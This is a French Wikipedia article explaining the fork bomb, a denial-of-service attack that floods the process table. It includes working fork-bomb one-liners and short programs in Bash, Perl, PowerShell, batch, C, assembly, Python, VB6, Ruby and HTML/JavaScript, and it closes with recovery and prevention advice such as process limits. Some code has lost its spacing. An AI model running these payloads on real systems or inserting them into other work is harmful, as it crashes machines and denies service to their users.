Aller au contenu
Wikipédia l'encyclopédie libre

Fork bomb

Un article de Wikipédia, l'encyclopédie libre.
Si ce bandeau n'est plus pertinent, retirez-le. Cliquez ici pour en savoir plus.
Si ce bandeau n'est plus pertinent, retirez-le. Cliquez ici pour en savoir plus.

Cet article ne cite pas suffisamment ses sources ().

Si vous disposez d'ouvrages ou d'articles de référence ou si vous connaissez des sites web de qualité traitant du thème abordé ici, merci de compléter l'article en donnant les références utiles à sa vérifiabilité et en les liant à la section « Notes et références ».

En pratique : Quelles sources sont attendues ? Comment ajouter mes sources ?
Schéma de la bombe logique : un processus est dupliqué (forké) de manière récursive jusqu'à saturer les ressources et aboutir à un plantage ou un déni de service.

La fork bomb est une forme d'attaque par déni de service contre un système informatique utilisant la fonction fork. Ce type d'attaque implique la réplication d'un processus par lui-même de manière récursive jusqu'à épuisement des ressources de la machine.

Une fork bomb fonctionne en créant un grand nombre de processus très rapidement, au moyen de la fonction fork, afin de saturer l'espace disponible dans la liste des processus gardée par le système d'exploitation. Si la table des processus se met à saturer, aucun nouveau programme ne peut démarrer tant qu'aucun autre ne termine. Même si cela arrive, il est peu probable qu'un programme utile démarre étant donné que les instances de la bombe attendent chacune d'occuper cet emplacement libre.

Non seulement les fork bombs utilisent de la place dans la table des processus, mais elles utilisent chacune du temps processeur et de la mémoire. En conséquence, le système et les programmes tournant à ce moment-là ralentissent et deviennent même impossibles à utiliser.

Les fork bomb peuvent être considérées comme un certain type de wabbit (un programme qui s'autoréplique sans utiliser de réseau).

Soit en le lançant dans un terminal :

forkwhilefork
En langage Perl :
perl-e"fork while fork"&
En shell Bash :
:(){:|:&};:

Explications :
:() définit une fonction nommée :. { :|:& } est le corps de la fonction. Dans celui-ci, la fonction s'appelle elle-même (:), puis redirige la sortie à l'aide d'un pipe (|) sur l'entrée de la même fonction : et cache le processus en fond avec &. La fonction, ensuite appelée avec :, s'appelle récursivement à l'infini.

En PowerShell :

function a {a|a} a

ou

ii /*

à noter : PowerShell impose un nombre limité d'itérations simultanées, pour éviter les fork bombs.

En utilisant un fichier batch :

Bien que la fonction « fork » qui ait donné son nom aux fork bombs soit une convention Posix, Microsoft Windows permet également d’en réaliser, sur le même principe :

%0|%0

Ou également :

 
:s
start %0
goto :s
En langage C :
#include<unistd.h>

intmain(void)
{
while(1){
/* ici on peut ajouter un malloc pour utiliser plus de ressources */
fork();
}
return0;
}
En assembleur avec OS Posix :

x86 :

entrystart
start:; Début du programme
moveax,0x2; sauvegarde 2 (code pour le syscall fork) dans eax
int0x80; Appelle le noyau (execute le fork)
jmpstart; Répète

amd64 :

entrystart
start:; Début du programme
movrax,0x39; sauvegarde 57 (code pour le syscall fork) dans rax
syscall; Appelle le noyau (execute le fork)
jmpstart; Répète
En Python :

Sous certaines plateformes (FreeBSD, Cygwin..) peut avoir des erreurs (OSError)

importos
while True:
 os.fork()

Ou

importsubprocess,sys
while True:
 subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
En VB6 :
PrivateSubMain()
Do
ShellApp.EXEName
Loop
EndSub
En Ruby :
loop{fork}
En HTML (et JavaScript) :

En HTML, on peut faire ouvrir deux pages dans des cadres qui ouvrent récursivement les mêmes cadres, provoquant un déni de service. Cependant, avec les navigateurs créant un processus par onglet, on peut avoir une authentique fork bomb en HTML et JavaScript, à condition que le navigateur ne bloque ni les popups ni le JavaScript :

 <html>
 <script type="text/javascript">
functionopen_target_blank(){
window.open(window.location);
}
window.onload=open_target_blank();
</script>
 <body>
 </body>
 </html>

Difficulté de guérison

[modifier | modifier le code ]

Une fois la fork bomb activée avec succès dans un système, il peut devenir impossible de retrouver un fonctionnement normal sans redémarrer, étant donné que la seule solution à une fork bomb est de détruire toutes ses instances. Essayer d'utiliser un programme pour tuer les processus requiert la création d'un processus, ce qui peut être impossible s'il n'y a pas d'emplacement vide dans la table des processus, ou d'espace dans les structures mémoires. Windows 10 intègre un système de prévention et va tuer tous les processus bash.exe si la fork bomb est exécuté sur le sous-système Linux.

Prévention

[modifier | modifier le code ]

La fork bomb fonctionne en créant autant de processus que possible. Ainsi, pour empêcher une fork bomb, il suffit de limiter le nombre de processus pouvant être exécutés par un programme ou par un utilisateur. En permettant aux utilisateurs de non-confiance de lancer seulement un petit nombre de processus, le danger d'une fork bomb, intentionnelle ou non, est réduit. Toutefois, cela n'empêche pas un groupe d'utilisateurs de collaborer pour consommer les emplacements processus, à moins que la limite totale des processus soit plus grande que la somme des limites des processus individuels.

Protection sous Unix

[modifier | modifier le code ]

Les systèmes de type Unix permettent de limiter le nombre de processus via la commande setrlimit[1] . Dans un noyau Linux, cette limite peut être indiquée via RLIMIT_NPROC. Si un processus appelle fork et que l'utilisateur possède déjà plus de RLIMIT_NPROC processus alors le fork échoue. Ici encore la limitation est propre à un utilisateur donné et ne permet pas de déjouer les attaques simultanées par plusieurs utilisateurs. Elle permet toutefois de limiter l'impact de forks accidentels, par exemple lors de la conception d'un logiciel ou d'un bogue dans une application.

Notes et références

[modifier | modifier le code ]
  1. « setrlimit(3) - Linux man page », sur linux.die.net (consulté le )

AltStyle によって変換されたページ (->オリジナル) /